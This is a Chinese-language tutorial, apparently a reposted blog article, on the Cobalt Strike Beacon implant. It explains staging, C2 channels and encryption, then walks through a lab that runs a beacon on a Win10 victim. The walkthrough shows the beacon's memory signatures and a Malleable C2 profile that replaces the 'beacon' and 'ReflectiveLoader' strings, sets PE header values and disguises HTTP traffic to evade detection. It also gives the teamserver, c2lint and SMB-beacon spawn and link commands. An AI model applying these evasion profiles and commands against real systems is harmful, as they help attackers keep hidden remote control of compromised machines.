Cobalt Strike 的 Beacon 使用介绍以及 Profile 文件修改Beacon内存教程
2022-9-1 18:17:51 Author: W小哥(查看原文) 阅读量:43 收藏

1.1 Beacon介绍

Beacon 是 Cobalt Strike 运行在目标主机上的 payload,Beacon 在隐蔽信道上为我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word文档或者通过利用主机漏洞来传递 Beacon。

Beacon的功能包括以下几点:

  1. 使用HTTP或DNS检查是否有待执行任务

  2. 可连接到多个C2域名

  3. 能够在分段传输后自动迁移

  4. 与Cobalt Strike紧密集成,通过社工、主机漏洞和会话来传递Beacon

Beacon的中文名为信标,像是在网络中告诉我们:“嘿,我是肉鸡,我在这…”

1.2 Beacon 的工作原理

我们可以通过下图来看Beacon的工作原理:

Beacon在目标主机上运行之后,会主动向我们提前设置好的 Listener 发送请求信息(叮,您有新的主机已上线)。

Team Server 控制器接收到请求后会检查是否有待执行的任务,如果有就会将任务下发到Beacon

Beacon 的工作原理总结:

当我们通过TeamServer生成了beacon文件后,并在靶机上执行该文件,会产生以下行为:

  • 靶机主动请求生成beacon时所选择的Listener

  • 攻击者通过TeamServer发现目标机器已上线

  • 借助TeamServer下发指令给beacon执行(异步或同步

此处值得一提的是 payloading staging,很多攻击框架都是使用分段的shellcode,以防止shellcode过长,覆盖到了上一函数栈帧的数据,导致引发异常。要说分段shellcode就不得不提stagerstager是一段很精短的代码,它可以连接下载真正的payload并将其注入内存。我们使用stager就可以解决shellcode过长的问题。

Cobalt Strike中也支持分段payload:

关于分段payload优势与劣势的问题,本文不予讨论,这就像是选择鸡还是鸡蛋一样,Cobalt Strike的作者最终选择了鸡蛋,所以…在Cobalt Strike 3.5.1后的版本可以通过在 Malleable C2中添加host_stage选项,以限制分段payload。


在Cobalt Strike 4中应该尽可能多的使用unstage,一方面以保证安全性(因为你无法确保stager下载的stage是否受到中间人攻击,除非像MSF一样使用SSL保证安全性)。另一方面如果我们通过层层的代理,在内网进行漫游,这个时候使用分段的payload如果网络传输出现问题,stage没有加载过去,可能就会错失一个Beacon,unstage 的 payload会让人放心不少。

更多关于stage的参考资料:
https://blog.cobaltstrike.com/2016/06/15/what-is-a-stageless-payload-artifact/

1.3 Beacon 的生成模式

Beacon的生成有两种模式

  1. stage (有阶段)

  2. stageless (无阶段)

stage(有阶段):指的是Beacon会分段的加载shellcode(具体表现为,通过不断的向Listener发起请求,最终获取一个完整的shellcode并执行)。

stageless(无阶段):则是在生成时则包含完整的shellcode。

1.4 Beacon 的通信策略

Beacon有两种通信策略(与团队服务器通信-CS 中以团队服务器作为 C2)

异步式通信 =:异步模式下通信频率低、速度慢,如上图所示:Beacon会主动请求任务列表、然后进入SLEEP状态。
交互式通信 :C2 对 Beacon 实时控制

1.5 Beacon 的分类

根据内置Listener的分类可以将Beacon分为:

  1. HTTP and HTTPS Beacon

  2. DNS Beacon

  3. SMB Beacon

1.5.1 HTTP and HTTPS Beacon 的工作原理

HTTP and HTTPS Beacon非常简单,关键是Beacon通过GET请求来下载任务。

1.5.2 DNS Beacon 的工作原理

Cobalt Strike使用DNS来完成Beacon check in的工作,如果DNS返回的记录解析为有需要执行的任务,那Beacon会使用HTTP来完成获取任务这一过程。具体原理参看下图:

需要注意的是:DNS Beacon现在已经有两种方式(第二种方式是使用TXT记录)传输Beacon和task list

1.5.3 SMB Beacon 的工作原理

SMB Beacon需要连接到Parent Beacon使用,所有任务均从parent Beacon接收,并通过parent Beacon返回任务结果。它使用了Windows的命名管道命名管道是Windows进程间通信机制,允许两者间通信、互相查看和操作对方的文件。Cobalt Strike使用这种方式在进程与进程或主机与主机之间通信,因为基于SMB协议所以被称之为SMB Beacon。

1.6 Beacon安全性

设想这样一个问题,如果有人劫持了你的通信流量,并可以监听到你的Beacon向Team Server传回的数据,这时会发生什么呢?

答案是什么都不会发生。
因为Beacon内置了多种安全特性(除了第四条):

  1. Beacon stage 在连接时会验证Team Server

  2. Beacon 的任务请求和任务输出都是被加密的

  3. Beacon 有重放保护机制

  4. Beacon stagers 没有任何安全机制

当你启动Team Server并创建了Beacon Listener时,Team Server就会创建公钥对来保证后续传输过程的安全性。我们以分段传输payload为例,详细讲解一下Cobalt Strike的安全特性。

1. 当stager下载stage时,公钥也会被一起发送:

2. 当Beacon stage准备check in的时候,第一步就是要发送关于beacon session的元数据(Metadata)元数据中包含了用户、PID、电脑名称、IP地址等等基础信息,同时元数据中也包括了Beacon stage创建的一个随机会话密钥。为了保证安全性,Beacon stage会使用公钥加密元数据(含会话密钥),这意味着只有Team Server才能够解密该数据包。

3. 当Beacon从Team Server下载任务的时候,团队服务器会使用会话密钥加密这些任务,Beacon stage也会使用会话密钥来解密任务列表。

4. 同样在返回任务结果的时候,Beacon stage也会使用会话密钥对任务输出加密。

可以看到Raphael在设计Cobalt Strike的时候已经充分的考虑到了它的安全性问题,所以…师傅放心用吧,wink~

实验环境:
攻击者: KALI (含有Cobalt Strike ) IP: 192.168.23.128
受害者: Win10 IP: 192.168.23.130

2.1 生成 Beacon 并在win10上运行

在kali中使用 Cobalt Strike 生成一个无阶段的 beacon:beacon.exe

之后在受害者主机 win10 上运行beacon.exe

受害者主机 win10 运行beacon.exe 之后,已中招,在攻击者主机KALI 的 Cobalt Strike 上显示192.168.23.130已成功上线

2.2 分析 Beacon的特征

在受害主机 WIN 10 上使用 Process Hacker 分析 Beacon的特征
打开 Process Hacker 找到运行的Beacon.exe

单击 选中的beacon.exe,之后弹出beacon.exe(4008)属性框,选择属性框中线程,可以看到线程起始地址:beacon.exe+0x14b0

单击选中的beacon.exe+0x14b0,查看线程 952 的堆栈的调用了SleepEx睡眠

特征:内存段是rwx权限
查看 beacon.exe 所有的内存,内存段很少有是rwx权限的,我们直接定位到rwx内存段
之后,右键把内存导出到文件

右键用写字板形式打开beacon.exe.bin文件

可以看到内存里有beacon这个字符串特征

这里还有个特征:ReflectiveLoader一看就被别人知道了

内存特征总结:
1、内存段是rwx权限
2、内存中有 beacon 字符串
3、内存中有 ReflectiveLoader 字符串

2.3 修改 Beacon的特征

使用 Profile 文件修改Beacon内存特征

下载地址:https://github.com/xx0hcd/Malleable-C2-Profiles

在文件中找到如下代码,并按照下图和以下代码进行修改,其中的#号是注释的意思

stage {    set checksum       "0";  #设置 beacon Reflective DLL 的编译时间    #set compile_time   "25 Oct 2016 01:57:23";  #设置 beacon Reflective DLL 的PE标头中的EntryPoint值    set entry_point    "170000";    #set image_size_x86 "6586368";    #set image_size_x64 "6586368";  #设置 beacon Reflective DLL 的PE头名字    #set name     "WWanMM.dll";    #避免 beacon 所在内存为 rwx    #set userwx      "true";    #set cleanup     "true";    #set sleep_mask     "true";    #set stomppe     "true";    #set obfuscate     "true";  #设置 beacon Reflective DLL 编译器插入的元信息  #设置 beacon Reflective DLL 编译器插入的元信息    set rich_header    "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";          #obfuscate beacon before sleep.  #在睡眠时间对内存进行混淆    #set sleep_mask "true";        #https://www.cobaltstrike.com/releasenotes.txt -> + Added option to bootstrap Beacon in-memory without walking kernel32 EAT    #set smartinject "true";        #new 4.2. options    #allocator options include HeapAlloc, MapViewOfFile, VirtualAlloc, or you can use module stomp.    #set allocator "HeapAlloc";    #set magic_mz_x86 "MZRE";    #set magic_mz_x64 "MZAR";    #set magic_pe "EA";
#module stomp. Make sure the dll you use is bigger than your payload and test it with post exploit options to make sure everything is working.
set module_x86 "wwanmm.dll"; set module_x64 "wwanmm.dll";
#transform allows you to remove, replace, and add strings to beacon's reflective dll stage.#转换允许您删除、替换和添加字符串到beacon的反射dll阶段。 transform-x86 { #在Beacon Reflective DLL之前插入一个字符串,防止通过dll前几个字节来检测 prepend "\x90\x90\x90"; #在Beacon Reflective DLL之中替换一个字符串,防止通过特定的字符串来监测 strrep "ReflectiveLoader" "t1"; strrep "beacon" "test"; #在Beacon Reflective DLL之后添加一个字符串,防止通过DLL最后几个字节来监测 append "\x90\x90\x90"; }
transform-x64 { prepend "\x90\x90\x90"; strrep "ReflectiveLoader" "t2"; strrep "beacon" "test"; append "\x90\x90\x90";        }

意思是:将beacon字符串替换为test,将ReflectiveLoader 字符串替换为 t2

( 也可以是:strrep “beacon.x64.dll” “test”;)

注意: set sleep_mask “true”; #在睡眠时间对内存进行混淆。
默认是开启的,开启情况下,不能提取到内存特征,保存到本地的内存文件都是进行混淆的,如果是验证字符串特征是否修改成功,此处应该注释掉#set sleep_mask “true”;


我们先注释掉禁用的rwx权限,方便等下快速定位,实战中不要注释

修改完 template.profile 文件之后,需要使用 c2lint 验证一下 profile 文件是否可用,命令:

chmod 777 c2lint./c2lint template.profile

返回内容如下图所示,说明 profile 文件可用

在KALI上,开启的时候加载 profile 文件,命令:

./teamserver 192.168.23.128 123 template.profile

成功加载如下图所示:

之后按照之前的步骤重新生成一个beacon:beacon-test2.exe,并且放在受害主机WIN10上运行

按照之前同样的步骤,找到beacon-test2.exe文件具有 RWX 权限的内存段,并保存到本地为:beacon-test2.exe.bin

使用写字板打开 beacon-test2.exe.bin 文件,搜索 beacon 、ReflectiveLoader 字符串均为空,搜索test如下图所示,说明内存字符串特征被成功修改。

注意: Profile 文件修改内存还有很多功能,此处不一一演示了,把注销的#的删掉,使其生效即可,其它修改功能就可以使用了

2.4 Profile 文件扩展修改HTTP流量特征

Profile 文件修改http流量特征功能默认是开启的,在之前实验基础上使用wireshark抓包即可,抓包之后搜索 http 协议,如下图所示,可以看到HTTP流量特征已经被修改,修改的内容与Profile 文件设置的一致

HTTP请求数据包:

HTTP响应数据包:

修改过后的http流量,很难判断与Cobalt Strike有什么关联,就像正常访问的文件流量一样

前提条件:
1.具有SMB Beacon的主机必须接受端口445上的连接。
2.只能链接由同一Cobalt Strike实例管理的Beacon。

3.1 如何派生一个 SMB Beacon?

1、在 Listeners 中生成 SMB Beacon并保存,如下图所示

2、选中已经上线的目标主机 -> 右键 -> spawn -> 选中Listeners ->choose

等待一会儿之后,如果运行成功 external 可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon
(下图所示是连接状态 你可以主Beacon上 用link host链接它 或者unlink host断开它 )

链接SMB Beacon命令:link 192.168.23.130

断开链接SMB Beacon命令:unlink 192.168.23.130

3.2 Spawn介绍

beacon> help spawnUse: spawn [x86|x64] [listener]     spawn [listener]
Spawn an x86 or x64 process and inject shellcode for the listener.

spawn 这个功能,中文意思是“产卵”,它的功能就是可以派生出更多的Beacon 让一个团队分布式渗入通常我们在团队主服务器上给队友来派生Beacon 这样只要主服务器权限不掉,还能继续操作。尽量派生出多个Beacon,让我们的操作都在子Beacon。

这里简单叙述下 如何操作从主服务器 派生到 其他队友服务器的过程:

队友服务器Listeners生成 > 团队服务器 Listeners生成 使用队友ip>Spawn

其实很好理解 就是让队友的服务器生成监听 然后团队服务器生成server ip指向队友。

灵活的运用Spawn 不仅可以使团队效率提高,也能较好的维持权限,同时还能结合MSF。

这里就不演示了,也很简单

参考链接:https://www.cnblogs.com/lalalaxiaoyuren/p/14117945.html


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDczNjQ2OQ==&mid=2247484707&idx=1&sn=d607771e35c9204d67deaed957b3568a&chksm=fa917e19cde6f70f894f1704264aa2dc3ffa5a4a482fd48c2e67e480b3931572ef73beec0e19#rd
如有侵权请联系:admin#unsafe.sh